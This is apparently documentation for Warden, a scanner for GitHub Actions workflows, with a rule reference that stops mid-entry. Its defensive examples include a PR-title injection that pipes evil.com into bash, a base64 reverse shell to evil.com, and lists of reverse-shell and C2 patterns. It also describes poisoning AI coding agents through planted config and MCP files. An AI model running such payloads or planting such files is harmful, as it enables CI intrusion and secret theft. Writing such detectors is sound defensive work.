Introduction
Warden is a static analysis tool for GitHub Actions workflows. It scans .github/workflows/*.yml files and reports security vulnerabilities before they reach production.
What Warden Does
GitHub Actions workflows run with elevated privileges, access secrets, and interact with your supply chain. Misconfigured workflows are a leading source of CI/CD security incidents. Warden catches these issues at the source.
Warden detects:
- Script injection via untrusted
github.eventinputs interpolated intorun:steps - Dangerous trigger configurations like
pull_request_targetcombined with checkout of untrusted code - Supply chain attacks via unpinned actions, known-vulnerable actions, impostor commits, and runtime binary fetches
- Permission and secret misuse including secrets in run blocks, exfiltration patterns, and debug logging
- AI-specific risks like AI config poisoning via fork checkouts and MCP config injection
- Steganographic payloads hidden via invisible Unicode characters or IOC patterns (reverse shells, C2 domains)
- Integrity failures such as toJSON(secrets) exposure, credential leakage in artifacts, and insecure commands
- Logic flaws including self-hosted runners on PRs, confused deputy attacks, cache poisoning, and spoofable bot checks
Rule Numbering
Rules are grouped by category using hundreds:
| Range | Category |
|---|---|
| 100s | Injection |
| 200s | Triggers |
| 300s | Supply Chain |
| 400s | Permissions |
| 500s | AI Security |
| 600s | Steganography |
| 700s | Integrity |
| 800s | Logic |
Severity is encoded in the tens/units digit of the rule number. See Rules Overview for details.
Binary and Crate
- Binary name:
warden - Crate name:
wardenscan - Language: Rust
- Total rules: 53
Source
Warden is open source. Contributions and rule proposals are welcome via GitHub issues.
Installation
cargo install
Requires Rust 1.70 or later. Install via crates.io:
cargo install wardenscan
The binary is installed as warden in ~/.cargo/bin/. Ensure that directory is in your PATH.
Verify the installation:
warden --version
Pre-built Binaries
Pre-built binaries for Linux (x86_64, aarch64), macOS (x86_64, Apple Silicon), and Windows (x86_64) are available on the GitHub Releases page.
Download, extract, and place the binary in a directory on your PATH:
# Linux x86_64 example
curl -Lo warden.tar.gz https://github.com/projectwarden/warden/releases/latest/download/warden-linux-x86_64.tar.gz
tar xf warden.tar.gz
sudo mv warden /usr/local/bin/
Docker
A minimal Docker image is available:
docker pull ghcr.io/projectwarden/warden:latest
Run a scan by mounting your repository:
docker run --rm -v "$PWD:/repo" ghcr.io/projectwarden/warden:latest scan /repo
To output SARIF:
docker run --rm -v "$PWD:/repo" ghcr.io/projectwarden/warden:latest scan /repo --format sarif > results.sarif
GitHub Action
Add warden to any workflow to scan on every push and pull request. See the GitHub Action guide for full configuration.
- name: Run warden
uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818 # v1.0.0
with:
path: .github/workflows
fail-on: high
Updating
cargo install wardenscan --force
Or pull the latest Docker image:
docker pull ghcr.io/projectwarden/warden:latest
Quick Start
Three commands cover the core workflow.
1. Scan a repository
warden scan /path/to/repo
Warden walks .github/workflows/ and reports findings to stdout in text format. Exit code is non-zero when any finding meets or exceeds the configured threshold.
WRD-101 [CRITICAL] script-injection: Unsanitized github.event.pull_request.title in run step
File: .github/workflows/ci.yml
Line: 42
Step: Build and test
Scan only a specific workflow file:
warden scan .github/workflows/ci.yml
Output as SARIF (for GitHub Code Scanning upload):
warden scan /path/to/repo --format sarif -o results.sarif
2. Score a repository
warden score /path/to/repo
Produces an aggregate security score (0-100) based on finding severity and count. Useful for tracking improvement over time or enforcing a minimum score in CI.
Security Score: 74/100
Critical: 0
High: 2
Medium: 5
Low: 3
Set a failing threshold:
warden score /path/to/repo --min-score 80
3. List rules
warden rules
Lists all 53 detection rules with ID, severity, name, and a one-line description.
WRD-101 CRITICAL script-injection Untrusted input interpolated into run step
WRD-110 HIGH composite-input-injection Composite action input interpolated in run step
...
Filter by category:
warden rules --category injection
Filter by severity:
warden rules --severity critical
Next Steps
- Browse the Rules Reference for full rule documentation
- Set up the GitHub Action for continuous scanning
- Integrate SARIF output with GitHub Code Scanning
- See all flags in the CLI Reference
Rules Overview
Warden includes 53 detection rules organized into eight categories. Rules are identified by a code prefixed with WRD-.
Rule Numbering
The hundreds digit indicates the category:
| Prefix | Category | Rules |
|---|---|---|
| 1xx | Injection | WRD-101, WRD-110 to WRD-113, WRD-120 |
| 2xx | Triggers | WRD-201 to WRD-203 |
| 3xx | Supply Chain | WRD-301, WRD-302, WRD-310, WRD-320 to WRD-327 |
| 4xx | Permissions | WRD-420 to WRD-422, WRD-424 |
| 5xx | AI Security | WRD-510, WRD-511, WRD-520, WRD-521, WRD-525 |
| 6xx | Steganography | WRD-601, WRD-602 |
| 7xx | Integrity | WRD-701, WRD-710 to WRD-714, WRD-720 |
| 8xx | Logic | WRD-801, WRD-810 to WRD-812, WRD-820 to WRD-828, WRD-831, WRD-833 |
Severity Encoding
Severity is encoded in the last two digits of the rule number:
| Last two digits | Severity |
|---|---|
| X01 - X09 | Critical |
| X10 - X19 | High |
| X20 - X29 | Medium |
| X30 - X39 | Low |
Examples:
WRD-101: Injection, Critical (01)WRD-110: Injection, High (10)WRD-320: Supply Chain, Medium (20) // scanner promotes this to High when calculating fail-on thresholdWRD-831: Logic, Low (31)
Severity Definitions
Critical - Direct code execution, secret exfiltration, or full repository compromise possible. Fix immediately. Block merges.
High - Significant attack surface with likely exploitability under common conditions. Fix before merge.
Medium - Increased risk that requires specific conditions to exploit, or defense-in-depth concern. Fix in near term.
Low - Minor hardening gap, informational, or best-practice deviation. Address when convenient.
Suppressing Rules
Suppress rules globally via .warden.toml in the repository root (or any
parent directory of the scan target). The config file has just two fields:
# Suppress specific rules
disabled_rules = ["WRD-710", "WRD-826"]
# Override severities
[severity_overrides]
"WRD-322" = "low"
disabled_rules removes those rule IDs from every scan. There is no
per-file suppression and no category-level toggle in v1.0.
Custom Severity Overrides
Use the [severity_overrides] table to reclassify a rule’s findings before
the --fail-on threshold is applied. Severity values must be one of
critical, high, medium, or low:
[severity_overrides]
"WRD-525" = "high"
"WRD-720" = "low"
Injection Rules (100s)
Script injection occurs when untrusted data from github.event or other external sources is interpolated directly into run: steps, environment variables, or action inputs. An attacker who controls the injected value can execute arbitrary shell commands in the runner.
WRD-101: Expression Injection
Severity: Critical
What it detects: Direct interpolation of attacker-controlled github.event.* and github.head_ref expressions inside run: blocks using ${{ ... }} syntax. Covers a broad set of tainted sources including issue titles, PR bodies, comment bodies, commit messages, discussion content, and head ref.
Vulnerable:
- name: Print PR title
run: echo "Title: ${{ github.event.pull_request.title }}"
An attacker opens a PR titled "; curl https://evil.com/exfil | bash; echo " to execute arbitrary commands.
Remediation: Assign the value to an environment variable and reference it in the shell. The runner sanitizes values passed through env:.
- name: Print PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $PR_TITLE"
WRD-110: Composite Action Input Injection
Severity: High
What it detects: ${{ inputs.* }} expressions interpolated in run: blocks of composite actions (action.yml / action.yaml). When the action is consumed with attacker-controlled values, this enables command injection.
Vulnerable:
# action.yml
name: My Action
runs:
using: composite
steps:
- run: echo "Processing ${{ inputs.user_name }}"
shell: bash
Remediation: Use an environment variable instead of direct interpolation.
- env:
USER_NAME: ${{ inputs.user_name }}
run: echo "Processing $USER_NAME"
shell: bash
WRD-111: Dispatch Input Injection
Severity: High
What it detects: workflow_dispatch or repository_dispatch inputs interpolated directly in run: blocks. Dispatch inputs can be controlled by any user with push access.
Vulnerable:
on:
workflow_dispatch:
inputs:
deploy_target:
type: string
jobs:
deploy:
steps:
- run: ./deploy.sh ${{ inputs.deploy_target }}
Remediation: Pass dispatch inputs through environment variables.
- env:
TARGET: ${{ inputs.deploy_target }}
run: ./deploy.sh "$TARGET"
WRD-112: GITHUB_ENV/PATH Injection
Severity: High
What it detects: Writes to $GITHUB_ENV or $GITHUB_PATH in run: blocks. If the written value originates from attacker-controlled input, subsequent steps can be hijacked via environment variable or PATH manipulation.
Vulnerable:
- run: echo "TARGET=${{ github.event.inputs.target }}" >> $GITHUB_ENV
An attacker can inject newlines to set arbitrary environment variables including PATH or LD_PRELOAD.
Remediation: Validate and sanitize before writing to GITHUB_ENV. Prefer step outputs with explicit typing.
- env:
INPUT_TARGET: ${{ github.event.inputs.target }}
run: |
if [[ "$INPUT_TARGET" =~ ^[a-zA-Z0-9_-]+$ ]]; then
echo "TARGET=$INPUT_TARGET" >> $GITHUB_ENV
fi
WRD-113: Tainted Reusable Workflow Inputs
Severity: High
What it detects: Attacker-controlled values (github.head_ref, github.event.pull_request.title, issue/comment bodies, etc.) passed as inputs to reusable workflows. If the called workflow interpolates them unsafely in a run: block, command injection is possible.
Vulnerable:
jobs:
lint:
uses: my-org/shared/.github/workflows/lint.yml@main
with:
branch: ${{ github.head_ref }}
Remediation: Sanitize or validate the value before passing it. Ensure the called workflow uses environment variables instead of direct interpolation.
WRD-120: Step Output Injection
Severity: Medium
What it detects: steps.*.outputs.* expressions interpolated in run: blocks. Step outputs may carry attacker-controlled data if a prior step set the output from tainted input.
Vulnerable:
- id: get-input
run: echo "value=${{ github.event.pull_request.title }}" >> $GITHUB_OUTPUT
- run: do-something ${{ steps.get-input.outputs.value }}
Remediation: Pass step outputs through environment variables. Validate or sanitize outputs before use.
- env:
INPUT_VAL: ${{ steps.get-input.outputs.value }}
run: do-something "$INPUT_VAL"
Trigger Rules (200s)
Dangerous trigger configurations expose workflows to attacks from untrusted contributors. The pull_request_target event is particularly hazardous because it runs in the context of the base repository with full access to secrets, even when triggered by a fork.
WRD-201: Dangerous Fork Checkout
Severity: Critical
What it detects: A workflow triggered by pull_request_target that checks out the pull request’s head code (via ref: ${{ github.event.pull_request.head.sha }} or github.head_ref), combining privileged execution context with attacker-controlled code.
Vulnerable:
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install && npm test
This pattern is known as a “pwn request.” An attacker submits a PR that modifies npm test or package.json scripts and gains code execution with the base repository’s secrets.
Remediation: Use pull_request instead of pull_request_target, or avoid checking out untrusted code. If checkout is necessary, do not run any build/test commands on the checked-out code.
# Unprivileged workflow: runs fork code, no secrets
on: pull_request
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- run: npm install && npm test
WRD-202: Build Tool Execution on Untrusted Code
Severity: Critical
What it detects: A pull_request_target workflow that checks out the PR head and then executes build tools (npm, pip, cargo, make, yarn, gradle, mvn, go, poetry, etc.) on the untrusted code. This is a more specific variant of WRD-201 that looks for actual build commands.
Vulnerable:
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
ref: ${{ github.event.pull_request.head.ref }}
- run: npm install && npm test
An attacker can modify build scripts, package.json lifecycle hooks, or Makefile targets in their fork to execute arbitrary code with elevated privileges.
Remediation: Split into two workflows. Run build tools only in unprivileged pull_request workflows. Use workflow_run for privileged operations that do not run fork code.
WRD-203: Cross-Workflow Privilege Escalation
Severity: Critical
What it detects: A workflow_run-triggered workflow with write permissions or that downloads artifacts. If the producing workflow is triggered by pull_request, an attacker can poison artifacts in a fork PR to escalate privileges.
Vulnerable:
on:
workflow_run:
workflows: ["CI"]
types: [completed]
permissions:
contents: write
jobs:
publish:
steps:
- uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
with:
run-id: ${{ github.event.workflow_run.id }}
- run: ./deploy.sh $(cat artifact/target.txt)
Remediation: Minimize permissions on workflow_run workflows. Validate artifact integrity before use. Check github.event.workflow_run.conclusion and fork status before processing.
jobs:
publish:
if: github.event.workflow_run.conclusion == 'success'
steps:
- name: Check workflow origin
run: |
if [[ "${{ github.event.workflow_run.head_repository.fork }}" == "true" ]]; then
echo "Refusing artifact from fork" && exit 1
fi
Supply Chain Rules (300s)
Supply chain attacks target the actions and tools a workflow depends on. OIDC trust boundaries, known-vulnerable actions, mutable references, and unverified third-party code are the primary attack surfaces.
WRD-301: OIDC Trust Boundary Violation
Severity: Critical
What it detects: id-token: write permission combined with external triggers (pull_request_target, workflow_run, issue_comment, issues, discussion_comment, repository_dispatch). An attacker who can trigger the workflow may obtain OIDC tokens to access cloud resources (AWS, GCP, Azure) configured to trust the repository.
Vulnerable:
on: pull_request_target
permissions:
id-token: write
contents: read
jobs:
deploy:
steps:
- uses: aws-actions/configure-aws-credentials@ec61189d14ec14c8efccab744f656cffd0e33f37 # v6.1.0
Remediation: Restrict OIDC token permissions to workflows triggered only by trusted events (push, release). Add subject claim filters in your cloud provider’s OIDC configuration.
WRD-302: Known Vulnerable Action
Severity: Critical
What it detects: Usage of GitHub Actions with known security vulnerabilities, including compromised actions (tj-actions/changed-files pre-v45, reviewdog supply chain attack), deprecated actions with EOL runtimes (actions/upload-artifact@v1/v2, github/codeql-action@v2), and other known-bad versions.
Vulnerable:
- uses: tj-actions/changed-files@v39
- uses: actions/upload-artifact@v2
- uses: github/codeql-action/analyze@v2
Remediation: Update to patched versions or pin to verified SHAs after the fix. Check action repositories for security advisories.
WRD-310: Impostor Commit
Severity: High
What it detects: Actions pinned to commit SHAs that appear suspicious: truncated SHAs (not exactly 40 hex characters), all-zero SHAs, or placeholder patterns. Impostor commits can be pushed to a repository via its fork and may not belong to any branch or tag in the original repository.
Vulnerable:
- uses: some-org/some-action@abcdef1
Remediation: Use the full 40-character commit SHA. Verify the commit exists on the default branch or a tagged release of the action repository.
WRD-320: Unpinned Actions
Severity: Medium (promoted to High for third-party actions)
What it detects: Actions referenced by mutable tags (e.g., @v1, @v2.3) rather than a full-length commit SHA. Tag contents can change without notice. Third-party actions are promoted to high severity; GitHub-owned actions (actions/*, github/*) remain medium.
Vulnerable:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: some-org/some-action@v2
Remediation: Pin every action to a specific commit SHA. Use a comment to document the version.
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: some-org/some-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2 # v2.1.0
WRD-321: Archived Action Reference
Severity: Medium
What it detects: References to GitHub Actions from known archived or deprecated repositories (e.g., actions/create-release, actions-rs/toolchain, actions-rs/cargo). Archived actions no longer receive security patches.
Vulnerable:
- uses: actions-rs/toolchain@v1
Remediation: Replace with an actively maintained alternative. Check the repository README for migration guidance.
WRD-322: Stale Action SHA Pin
Severity: Medium
What it detects: Actions pinned to a SHA without a version comment (e.g., # v4.1.0). Without a comment, it is difficult to tell which release the SHA corresponds to or whether the pin is outdated.
Vulnerable:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
Remediation: Add a version comment after the SHA pin for auditability and easier Dependabot/Renovate reviews.
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
WRD-323: Ref Version Mismatch
Severity: Medium
What it detects: Actions where the tag ref disagrees with the inline version comment. For example, @v3 # v4 indicates a copy-paste error or partially completed version bump.
Vulnerable:
- uses: actions/checkout@v3 # v4.0.0
Remediation: Update the comment to match the actual ref, or update the ref to match the intended version.
WRD-324: Ref Confusion
Severity: Medium
What it detects: Actions pinned to branch names (main, master, develop, dev, trunk, HEAD) that are mutable and change with every commit. Builds using branch refs are non-reproducible and vulnerable to supply chain attacks.
Vulnerable:
- uses: some-org/some-action@main
Remediation: Pin to a full commit SHA or version tag. Use Dependabot or Renovate to keep pins current.
WRD-325: Runtime Binary Fetch
Severity: Medium
What it detects: Actions known to download external binaries at runtime (security scanners like Trivy, Snyk, Bearer, Semgrep, and language setup actions). Even if the action reference is SHA-pinned, the downloaded binary is not verified against the pin. A compromised upstream release can execute malicious code.
Vulnerable:
- uses: aquasecurity/trivy-action@a1b2c3d4...
- uses: actions/setup-node@a1b2c3d4...
Remediation: Consider using container-based alternatives or verifying downloaded binaries against known checksums. For setup actions, specify a version input so the setup is intentional.
WRD-326: Forbidden Action Uses
Severity: High (some entries are Medium, see below)
What it detects: Action references that match warden’s hardcoded denylist of known-bad or end-of-life action versions. The denylist currently includes:
tj-actions/changed-files@v1through@v44(supply-chain compromise) // highreviewdog/action-setup@v1(compromised range) // highactions/checkout@v1and@v2(EOL) // mediumdawidd6/action-download-artifact@v1through@v5(pre-patch) // mediumaquasecurity/trivy-action@0.xand@master(pre-fix) // medium
The line number reported by the finding always points at the matching uses: line in the workflow.
Vulnerable:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: tj-actions/changed-files@v44 # WRD-326
- uses: reviewdog/action-setup@v1 # WRD-326
- uses: actions/checkout@v1 # WRD-326
Remediation: Pin to a known-good commit SHA after the fix, upgrade to a maintained successor (e.g. actions/checkout@v4 or later for the EOL entries), or migrate to an alternative action. Re-running warden scan after the bump verifies the denylist match has cleared.
- uses: tj-actions/changed-files@cbda684547adc8c052d50711417e5b03b5ea3247 # v46.0.5
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
WRD-327: Composite Action Internal Unpinned References
Severity: High
What it detects: A workflow references a composite or Docker action at a full 40-character commit SHA, but that upstream action’s own action.yml at that commit contains uses: steps (or a docker:// image) that are not themselves SHA-pinned. SHA-pinning the outer action does not protect against tag mutation in its internal dependencies, so a compromise of an inner actions/checkout@v4 (or similar) silently propagates into every downstream consumer.
Warden fetches the action.yml for every SHA-pinned uses: in the workflow via the GitHub Contents API (action.yml first, then action.yaml), walks runs.steps[*].uses for composite actions or runs.image for Docker actions, and flags any reference whose ref is not a 40-char hex SHA (or, for Docker images, does not contain @sha256:). The scan caches results per {owner}/{repo}@{sha} and caps at 10 distinct outer actions per workflow so large monorepos do not hammer the GitHub API. Without a GITHUB_TOKEN the rule still runs but is bound by the 60 req/hr unauthenticated quota; network errors are silently skipped (set WARDEN_DEBUG=1 to see them on stderr).
The line number reported by the finding always points at the outer uses: line in your workflow, since that is the only file you control.
Vulnerable outer workflow (you):
# .github/workflows/ci.yml
- uses: myorg/myaction@4f86b85a2eac07a7d4ec52a29d1c3c9c3f5f5f5f # looks correctly pinned
Vulnerable upstream myorg/myaction/action.yml at that SHA:
name: myaction
runs:
using: composite
steps:
- uses: actions/checkout@v4 # unpinned, tag-mutable
- uses: third-party/setup@main # unpinned, branch-ref
Remediation: Either fork myorg/myaction, pin all of its internal actions to SHAs, and use your fork, or switch to an alternative action whose action.yml only references SHA-pinned dependencies. Upstream maintainers can address this by pinning all internal uses: references in their action.yml.
Permissions Rules (400s)
These rules detect patterns where secrets or sensitive credentials are exposed through unsafe workflow configurations.
WRD-420: Secrets in Run Blocks
Severity: Medium
What it detects: ${{ secrets.* }} expressions interpolated directly in run: blocks instead of being passed through environment variables. Secrets in shell commands can leak through process listings, shell history, and error messages.
Vulnerable:
- run: curl -H "Authorization: Bearer ${{ secrets.API_KEY }}" https://api.example.com
Remediation: Pass secrets through step-level environment variables.
- env:
API_KEY: ${{ secrets.API_KEY }}
run: curl -H "Authorization: Bearer $API_KEY" https://api.example.com
WRD-421: Network Exfiltration Risk
Severity: Medium
What it detects: curl, wget, nc, or ncat commands in run: blocks that also reference secrets or credential-like environment variables. This pattern can indicate data exfiltration.
Vulnerable:
- env:
TOKEN: ${{ secrets.DEPLOY_TOKEN }}
run: |
curl -d "token=$TOKEN" https://webhook.example.com/notify
Remediation: Review whether the network command needs access to secrets. Consider using dedicated actions for API calls instead of raw curl/wget with secrets.
WRD-422: Debug Logging Enabled
Severity: Medium
What it detects: ACTIONS_RUNNER_DEBUG or ACTIONS_STEP_DEBUG set to true in workflow environment variables. Debug logging can expose secrets and sensitive information in workflow logs.
Vulnerable:
env:
ACTIONS_STEP_DEBUG: true
Remediation: Remove debug logging configuration from committed workflow files. Use repository-level debug settings only when needed for troubleshooting.
WRD-424: Secrets Used Outside Environment Scope
Severity: Medium
What it detects: A job references one or more secrets (other than the auto-injected GITHUB_TOKEN) but does not declare an environment:. Without an environment, secret access is not gated by deployment protection rules, required reviewers, or wait timers, so any path that triggers the workflow gets the secret.
The check walks each job in the workflow’s jobs: mapping, skips jobs that already declare environment:, and serializes the rest looking for secrets.<NAME> references. The first non-GITHUB_TOKEN secret it finds in an unprotected job emits the finding.
Vulnerable:
on: push
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Push to PyPI
env:
PYPI_TOKEN: ${{ secrets.PYPI_API_TOKEN }}
run: twine upload --username __token__ --password "$PYPI_TOKEN" dist/*
Remediation: Add environment: to the job and protect that environment with required reviewers, wait timers, or branch restrictions in the repository settings. This forces secret access through the deployment protection rules.
jobs:
deploy:
runs-on: ubuntu-latest
environment: production # gated by required reviewers
permissions:
contents: read
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Push to PyPI
env:
PYPI_TOKEN: ${{ secrets.PYPI_API_TOKEN }}
run: twine upload --username __token__ --password "$PYPI_TOKEN" dist/*
AI Security Rules (500s)
These rules cover AI-related risks and CI/CD automation hygiene. The 510s address AI configuration poisoning via fork-checkout in privileged workflow contexts. The 520s cover Dependabot security and trusted publishing patterns.
WRD-510: AI Config Poisoning
Severity: High
What it detects: Privileged-context workflows (pull_request_target, workflow_run, or issue_comment) that check out fork code and either invoke an AI coding assistant or reference an AI assistant’s configuration file by path. A malicious PR can plant or modify any of these files; when the privileged workflow runs an AI tool, the tool reads the attacker-controlled file as trusted instructions and the attacker effectively controls the model running in your CI environment.
Tracked AI configuration file paths (verified against upstream docs as of April 2026):
| Tool | Files / directories |
|---|---|
| Claude Code (Anthropic) | CLAUDE.md, CLAUDE.local.md, .claude/CLAUDE.md, .claude/rules/, .claude/ |
| Cursor | .cursorrules, .cursorignore, .cursorindexingignore, .cursor/rules/, .cursor/ |
| GitHub Copilot (VS Code) | .github/copilot-instructions.md, copilot-instructions.md, .github/instructions/, .github/prompts/ |
| Cross-tool agents standard | AGENTS.md, agents.md (read by Codex CLI, Cursor, Windsurf, Aider, Cline, VS Code Copilot) |
| Windsurf (Codeium) | .windsurf/rules/, .windsurf/, .windsurfrules (legacy) |
| Cline | .clinerules/, .clinerules |
| Aider | .aider.conf.yml, .aider.model.settings.yml, .aider.model.metadata.json, CONVENTIONS.md |
| Continue | .continue/rules/, .continue/ |
| Gemini CLI (Google) | GEMINI.md, .gemini/GEMINI.md, .gemini/ |
| OpenAI Codex CLI | .codex/, AGENTS.md |
In addition, the rule fires whenever a privileged + fork-checkout workflow invokes any of these tools by name even if no specific config file is referenced in the YAML, since the tool will discover and read the config files at runtime from its working directory.
Vulnerable:
on: pull_request_target # also workflow_run and issue_comment
jobs:
review:
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: some-org/ai-review-action@v1
Remediation: Do not process AI config files from untrusted fork checkouts. Run the AI step in a separate unprivileged pull_request workflow, or remove all AI configuration files from the checked-out tree before invoking the AI.
WRD-511: MCP Config Injection
Severity: High
What it detects: Privileged-context workflows (pull_request_target, workflow_run, or issue_comment) that check out fork code and reference Model Context Protocol (MCP) server configuration. A malicious PR can plant a .mcp.json (or one of its many editor-specific filename variants) that redirects AI tool calls to attacker-controlled MCP servers. Those servers can then exfiltrate secrets passed through tool calls, return manipulated results that introduce backdoors into AI-generated code, or execute arbitrary commands on the runner.
Tracked MCP configuration file paths (verified against upstream docs as of April 2026):
| Source | Files |
|---|---|
| Generic / spec-style | .mcp.json, mcp.json, .mcp.yaml, .mcp.yml, mcp_config.json, mcp-config.json, mcp_servers.json, mcp-servers.json |
| VS Code | .vscode/mcp.json |
| Cursor | .cursor/mcp.json |
| Claude Code / Claude Desktop | .claude/mcp.json, .claude/mcp_servers.json, claude_desktop_config.json |
| Continue | .continue/mcpServers/, .continue/config.yaml, .continue/config.json |
| Cline | cline_mcp_settings.json |
Vulnerable:
on: pull_request_target # also workflow_run and issue_comment
jobs:
analyze:
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: mcp-tool analyze .
Remediation: Do not process MCP configurations from untrusted checkouts. Use pinned, repository-owned MCP configs from the base branch, or maintain MCP server definitions outside the repository entirely (e.g. user-level ~/.codeium/windsurf/mcp_config.json or organization-managed config).
WRD-520: Dependabot Cooldown
Severity: Medium
What it detects: Dependabot configurations (dependabot.yml) with daily update schedules but no dependency grouping. This can produce a high volume of individual PRs, overwhelming reviewers and CI resources.
Vulnerable:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: npm
directory: /
schedule:
interval: daily
Remediation: Add dependency groups to batch related updates into fewer PRs, or reduce the schedule interval to weekly.
updates:
- package-ecosystem: npm
directory: /
schedule:
interval: daily
groups:
production-dependencies:
patterns: ['*']
WRD-521: Dependabot Insecure Execution
Severity: Medium
What it detects: Dependabot-related workflows that use pull_request_target and check out the PR head ref. With pull_request_target, the workflow runs with write permissions and access to secrets. Checking out untrusted PR code in this context allows arbitrary code execution with elevated privileges.
Vulnerable:
on: pull_request_target
jobs:
auto-merge:
if: github.actor == 'dependabot[bot]'
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install && npm test
Remediation: Avoid checking out the PR head in pull_request_target workflows. If you must, run untrusted code in a separate unprivileged workflow triggered by pull_request instead.
WRD-525: Use Trusted Publishing
Severity: Medium
What it detects: PyPI publish workflows using stored API tokens (PYPI_TOKEN, PYPI_API_TOKEN, PYPI_PASSWORD) or npm publish workflows using NPM_TOKEN instead of OIDC-based trusted publishing. Trusted publishing is more secure because it eliminates stored secrets entirely.
Vulnerable:
- uses: pypa/gh-action-pypi-publish@release/v1
with:
password: ${{ secrets.PYPI_TOKEN }}
Remediation: Configure PyPI Trusted Publishing and add id-token: write to permissions. Remove stored API token secrets.
permissions:
id-token: write
steps:
- uses: pypa/gh-action-pypi-publish@release/v1
# No password needed with Trusted Publishing
See PyPI Trusted Publishers docs for setup.
Steganography Rules (600s)
Steganographic techniques can be used to hide malicious payloads or exfiltration channels inside GitHub Actions workflow files. These rules detect invisible Unicode characters and indicators of compromise.
WRD-601: Unicode Steganography
Severity: Critical
What it detects: Invisible Unicode characters embedded in workflow YAML files. These can hide malicious commands, alter string comparisons, or use bidirectional text overrides to disguise code. Detected characters include:
- U+200B (Zero Width Space)
- U+200C/D (Zero Width Non-Joiner/Joiner)
- U+200E/F (Left-to-Right / Right-to-Left Mark)
- U+202A-202E (Bidi Embedding/Override characters)
- U+2060-2064 (Invisible operators)
- U+FEFF (BOM / Zero Width No-Break Space) – except at file start
- U+00AD (Soft Hyphen)
- U+034F (Combining Grapheme Joiner)
- U+061C (Arabic Letter Mark)
- U+2066-2069 (Bidi Isolate characters)
- U+FE00 (Variation Selector)
- U+180E (Mongolian Vowel Separator)
Vulnerable:
# A step name containing RLO character to disguise what follows
- name: Buildhs.suoicilam
run: malicious.sh
Remediation: Enforce a CI check that rejects workflow files containing non-ASCII invisible characters. Use warden scan or a linter in a pre-commit hook. A BOM at position 0 is allowed.
WRD-602: Indicator of Compromise
Severity: Critical
What it detects: Suspicious patterns in workflow YAML that indicate malicious activity. Detected patterns include:
evalcombined withbase64encodingbase64 -d/base64 --decodeoperations- Netcat listeners (
nc -l,ncat -l) - Bash
/dev/tcp/reverse shells - Named pipe + netcat (
mkfifo+nc) - Python one-liners with socket/subprocess
curl | bashandwget | shpatterns- Tunneling services (ngrok, localtunnel, serveo, bore.pub)
- Known paste/file sharing services (pastebin.com, transfer.sh)
- Known C2/callback domains (burpcollaborator.net, interact.sh, oastify.com)
- Download-and-execute (
chmod +x+./)
Vulnerable:
- run: echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS80NDQ0IDA+JjE=" | base64 -d | bash
The decoded value is bash -i >& /dev/tcp/evil.com/4444 0>&1 (a reverse shell).
Remediation: Remove the suspicious pattern immediately. Audit any secrets or tokens that may have been exposed in previous runs. Never decode and execute base64 strings at runtime in workflows.
Integrity Rules (700s)
Integrity rules cover secret exposure, credential leakage, command safety, and Docker image pinning. These rules ensure that workflow configurations do not inadvertently compromise secrets or weaken the build pipeline.
WRD-701: toJSON Secrets Exposure
Severity: Critical
What it detects: toJSON(secrets) or secrets.* patterns that expose the entire secrets context. If this value reaches logs, artifacts, or outputs, all repository secrets are compromised.
Vulnerable:
- run: echo '${{ toJSON(secrets) }}'
Remediation: Reference individual secrets by name (e.g., secrets.MY_TOKEN) instead of dumping the entire secrets context.
WRD-710: Artipacked
Severity: High
What it detects: actions/checkout without persist-credentials: false in workflows that also upload artifacts. When persist-credentials is true (the default), the GITHUB_TOKEN is stored in .git/config. If the .git directory is included in an uploaded artifact, the token can be extracted.
Vulnerable:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
# persist-credentials defaults to true
- run: make build
- uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f # v7.0.0
with:
name: build-output
path: .
Remediation: Add persist-credentials: false to the checkout step, or ensure the .git directory is excluded from uploaded artifacts.
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
persist-credentials: false
WRD-711: Secrets Inherit
Severity: High
What it detects: secrets: inherit in reusable workflow calls, which passes every secret in the calling repository to the called workflow. If that workflow is external or broadly scoped, secrets may be exposed unnecessarily.
Vulnerable:
jobs:
build:
uses: some-org/shared/.github/workflows/build.yml@main
secrets: inherit
Remediation: Pass only the specific secrets the called workflow needs.
jobs:
build:
